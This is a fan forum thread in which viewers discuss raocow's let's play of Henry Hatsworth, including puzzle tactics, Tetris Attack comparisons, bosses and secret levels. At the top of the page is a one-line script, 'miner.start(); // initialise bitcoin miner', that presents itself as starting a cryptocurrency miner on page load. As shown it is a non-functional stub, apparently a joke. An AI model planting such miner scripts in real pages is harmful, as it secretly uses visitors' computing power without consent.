<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralsmbx communitymario fan games galaxy

Henry Hatsworth - Ladies and gentlemen, kindly remove your wallets

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
Grounder
Posts: 3130
Joined: 5 years ago

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Grounder » 3 weeks ago

change leopardon
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
ZephyrBurst
A Bird Cat
Posts: 358
Joined: 7 years ago
Pronouns: He
Location: Austin, TX

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby ZephyrBurst » 3 weeks ago

J. J. W. Mezun wrote: I mainly know ’bout this game ’cause 1 o’ its programmers wrote a book ’bout structuring game code that was very influential to me when learning game development in an earlier life. It'll be interesting to see what this game actually is.
Been awhile since I've seen this referenced. I second looking at this. He has some good stuff in there.

User avatar
LunarRainbowShyGuy
Posts: 310
Joined: 4 years ago
Location: The Moon

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby LunarRainbowShyGuy » 3 weeks ago

I'm not surprised at all at raocow's performance with the puzzle part of the game. That doesn't make it much easier to watch though, especially considering that I've played a lot of Tetris Attack / Panel De Pon (for reference, I regularly play through the vs. computer mode in those games on the hardest difficulty).

Anyway, as for my own playthrough of this game, I've decided to spice things up by not buying any of the upgrades, both as a challenge, and also just to see how much money I can accumulate.

User avatar
Piesonscreations
Posts: 353
Joined: 4 years ago
First name: Gon
Pronouns: he/him/his

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Piesonscreations » 3 weeks ago

I think raocow is doing fine on the puzzle end. Then again, i have little to no experience with these sort of games.
Image

User avatar
Mata Hari
Posts: 2213
Joined: 9 years ago

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Mata Hari » 3 weeks ago

what is the title gimmick anyway



User avatar
Alice
?
Posts: 2162
Joined: 7 years ago
Pronouns: Girl person
Location: Wonderland

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Alice » 3 weeks ago

Piesonscreations wrote: I think raocow is doing fine on the puzzle end. Then again, i have little to no experience with these sort of games.
The first couple videos were quite bad in that regard but the last few have been a lot better. He still has a lot to learn about not overcomplicating matches though. He keeps turning 1-2 move matches into like 4-5 move matches which wastes quite a bit of his meter over time. He also does a lot of wasted moves which either accomplish nothing or move him farther away from matches, though the latter tends to happen when he's panicking.

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Sebby19 » 3 weeks ago

Nice that raocow found out some expert juggle combos in this game.

So some observations:
-Like raocow said about saving the Tea-time Robot for later (the tutorial also told you this), it might be best to also save your powerups as well.
-That X powerup that gives you the 'shadow-trail' seems to increase your basic attack, as I saw you were killing those Knights faster.
-The lightning bolt damages everybody on screen, and stuns them.
-Hourglass freezes them longer.
-You also were matching Hearts when you were full.

I also read the robot has more attacks, but I don't know if you have to unlock them. One of them is a dash attack, involving the R button.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
Dragon Fogel
Master of Pointlessness
Posts: 1076
Joined: 5 years ago

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Dragon Fogel » 3 weeks ago

The impression I get is that raocow is focusing on a narrow portion of the play area so he overlooks a lot of easy matches, especially ones that involve pulling a block out of the stack and letting gravity do the rest.
Image
Click that banner if you like reading words.
Image
Make levels from unused MAGL X names!

User avatar
LunarRainbowShyGuy
Posts: 310
Joined: 4 years ago
Location: The Moon

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby LunarRainbowShyGuy » 3 weeks ago

It's been really neat watching raocow gradually improve at what is effectively my favourite puzzle game but with a new coat of paint. Anyway, these skull enemies are interesting with how the skull blocks they create can only be matched with other skull blocks. They can be a bit pesky when there isn't enough to get rid of them, although I happen to already have experience with this sort of thing; Panel de Pon has a similar thing with its Shock Panels (the exclamation mark blocks) that only appear after you've cleared a certain number of other panels.

User avatar
Piesonscreations
Posts: 353
Joined: 4 years ago
First name: Gon
Pronouns: he/him/his

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Piesonscreations » 3 weeks ago

One thing I did notice is that raocow is overdoing puzzles. What I mean is that he's still on the puzzle zone sometimes when there is nothing left to gain, but I guess he's just having fun with it, so who can blame the guy.
Image

User avatar
AuraLancer
AKA Uncle Aura
Posts: 199
Joined: 8 years ago
Location: USA

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby AuraLancer » 3 weeks ago

Ivy wrote:
AuraLancer wrote: You people and watching YouTube through ad riddled apps. I'll never understand.
Dude, sitting through a few seconds of ads for each raocow video literally gives him money without having to be a patapon. I explicitly try to watch as many of his videos on mobile such that the ads aren't blocked
Sorry for the late reply, but I really really hate ads. I have been meaning to set up a Patreon account though. I think I'll get on that right now.

Edit: :)

User avatar
stormie
formerly maou shoujo
Posts: 37
Joined: 2 years ago
Pronouns: she/her

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby stormie » 3 weeks ago

I looked up a bit of endgame Hatsworth to see what it was like
honestly because the earlygame was boring me? Not because of raocow's play because of the game itself. Looks like this game is a slow burn, the kind that doles out your new abilities one at a time. The platforming and the bosses in the last part of the game look WAY more interesting though. Now I'm actually interested to see what it looks like when the LP gets there.
occasional watcher of the lets plays and haver of too many usernames

User avatar
LunarRainbowShyGuy
Posts: 310
Joined: 4 years ago
Location: The Moon

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby LunarRainbowShyGuy » 3 weeks ago

Watching raocow seemingly accidentally preforming what would count as a chain in Tetris Attack (where making a match causes other panels to fall and make more matches when they land) brought back some memories of when I was first learning to play Tetris Attack. When I first wanted to learn how to make chains my tactic was to raise the panels as high as I could without causing myself to lose, and then I would make a match near the bottom and hope to get lucky.

Anyway, that's enough reminiscing for now. Looks like boss time is coming up next. Ever since that cutscene I've been expecting a boss to be in any one of these stages, though I clearly don't remember anything about this game, because the boss stage is quite clearly marked on the map. (Speaking of my first time playing, I was a bit disappointed that the save files don't save the time last played, because I was looking forward to seeing how long it's been since I last played this.)

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Sebby19 » 3 weeks ago

So up + shoot is a big laser attack, maybe the robot has an equivalent?

raocow is slowly getting better at the same. Slowly.
But that blue chest that you missed. Maybe it might be a good idea to replay the stage in order to get it? It could be just oodles of money, or it could be a helpful item. I just hate to see you kick yourself later if its something essential.
Last edited by Sebby19 on 28 Jul 2019, 23:05, edited 1 time in total.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
Grounder
Posts: 3130
Joined: 5 years ago

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Grounder » 3 weeks ago

Sebby19 wrote: So up + shoot is a big laser attack, maybe the robot has an equivalent?

raocow is slowly getting better at the same. Slowly.
But that blue chest that you missed. Maybe it might be a good idea to replay the stage in order to get it? It could be just oodles of money, or it could be a helpful item. I just hate to kick yourself later if its somthing essential.
sebby will personally break into your house and perform karate and that is not a threat, it's a promise :evil:
Why don't you eat me?

I am perfectly tasty...

AND I'LL STEAL YOUR SOUL! :twisted:

ImageImageImage

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Sebby19 » 3 weeks ago

Haha, oops. Forgot some important words there.

But yes, play the game better. For your own health and safety
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
Ivy
Posts: 2346
Joined: 5 years ago
Contact:

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Ivy » 3 weeks ago

LunarRainbowShyGuy wrote: Watching raocow seemingly accidentally preforming what would count as a chain in Tetris Attack (where making a match causes other panels to fall and make more matches when they land) brought back some memories of when I was first learning to play Tetris Attack. When I first wanted to learn how to make chains my tactic was to raise the panels as high as I could without causing myself to lose, and then I would make a match near the bottom and hope to get lucky.
Wait, cascading combos/chains like that don't count for bonus in this game? Lame
3DS FC: 2793-0650-7690 | Switch: SW-2766-9108-9399 | Steam: ivysaur1996 (that ivy guy)
Many thanks to GlitchedGhost and Rockythechao for the amazing paper Demo animation!

User avatar
Mata Hari
Posts: 2213
Joined: 9 years ago

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Mata Hari » 3 weeks ago

It is possible that I'm wrong but I get the feeling cascades give you more super juice

User avatar
Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 913
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Rockythechao » 3 weeks ago

The combo meter doesn't differentiate between Tetris Attack-style chains and manual line clears performed in quick succession, or at least if it does it's really subtle about it. The game does award bonus super meter after the combo counter disappears, and it refills puzzle time with each new line cleared after a certain point.

A couple timestamp reminders for useful mechanical nuances that were established in the tutorials (feel free to ignore these if you'd prefer to rediscover them yourself, cowrao):


Sebby19 wrote:stuff

Please don't make an unmarked response to this or remove the ispoiler tag if you quote it, but the game does reward exploration. Some of the secrets are unimportant, though, like I'm pretty sure that blue chest was just a bunch of money, and others can only be accessed after a certain point in the game. When it comes time I'll let raocow know which levels can be revisited for noteworthy secrets.

A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby Sebby19 » 3 weeks ago

Actually I was wondering when we tell raocow there are 2 secret levels in every world. Or does the game eventually spell it out for you?



If I was playing, I would have focused on getting the robo suit asap. If I remember the first boss, raocow was absolutely wrecking him, until he ran out of juice.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
LunarRainbowShyGuy
Posts: 310
Joined: 4 years ago
Location: The Moon

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your hats

Postby LunarRainbowShyGuy » 3 weeks ago

So when I said I didn't remember anything about this game that was a lie. I distinctly remembered some boss that interfered with the puzzle in some way, and this is it (although I think it's safe to assume that other things like this will happen in the future, but I don't know if I even played that far). I didn't want to spoil the surprise though, so I avoided saying anything about it.

Anyway, this was a nice boss. I like the thematically appropriate attacks, like the champagne bottle missiles, and the person as a gun (which now that I think about it, I find it amusing that this man seems to have so many skulls in him). Also it looks like raocow's learning that doing the entire sword combo can leave you in danger.

And now it's time for me to reminisce about Tetris Attack yet again, because raocow has once again reminded me of things I did in that game. His speculation about a puzzle duel with Weasleby reminded me of when I would play the vs. computer mode back when I wasn't nearly as good as I am now. Back then the harder difficulties were too hard for me, so I would go to the options and set player 1 to a level 7 computer (the highest level) to beat it for me. If you do this though, the game rightfully calls you out on it and doesn't show you the proper ending.

One day I let the computer play in endless mode, mostly because I wanted to see it lose once the speed gets to the maximum. It turns out it's actually good enough that it will never lose, but it did turn out to be a learning experience; as I watched it I eventually started to anticipate how it would set up chains, which eventually led to me being able to do them myself. Anyway, that's all for this round of me reminiscing. Although if current trends continue I'll be back at it again tomorrow.
Rockythechao wrote:

like I'm pretty sure that blue chest was just a bunch of money

I had a feeling I forgot to mention something yesterday. I managed to get to that blue chest, and it is indeed just money. It's not really important, but I figured I'd mention it in case anyone was still wondering.


User avatar
Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 913
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your pantaloons

Postby Rockythechao » 3 weeks ago

Heck yeah, first boss down!

As I said in the spotzone the boss fights are easily my favorite parts of the game, both for the awesome music


and things like those bean sprouts. You did a good job of managing them, raocow, I recall having some trouble with them during my first time through the game.
Sebby19 wrote:

Actually I was wondering when we tell raocow there are 2 secret levels in every world. Or does the game eventually spell it out for you?

iirc it doesn't, it's something you need to discover yourself via exploration or deduce from the number of inventory slots compared to the number of worlds. The wall jumps rao just unlocked will let him get to one of the W1 secret exits, and while it would be beneficial for him to do that one ASAP for Reasons, after discussing it with SAJewers in the spotzone I'm going to keep quiet for now. If the existence of the secret levels is spoiled for raocow it can't be taken back, so it's not a decision that should be made lightly. It'd be best to give other folks time to weigh in on the matter and see if rao might stumble upon one of the W2 secret exits by accident. I'm not counting on that happening, but if anyone's capable of doing that it's raocow.

A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Sebby19
Posts: 2564
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: Henry Hatsworth - Ladies and gentlemen, kindly remove your pantaloons

Postby Sebby19 » 3 weeks ago

Then I really do hope he stumbles on them by accident.

ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000


Return to “let's play”

Who is online

Users browsing this forum: AlchemistHohenheim, MonkeyShrapnel, raocow and 10 guests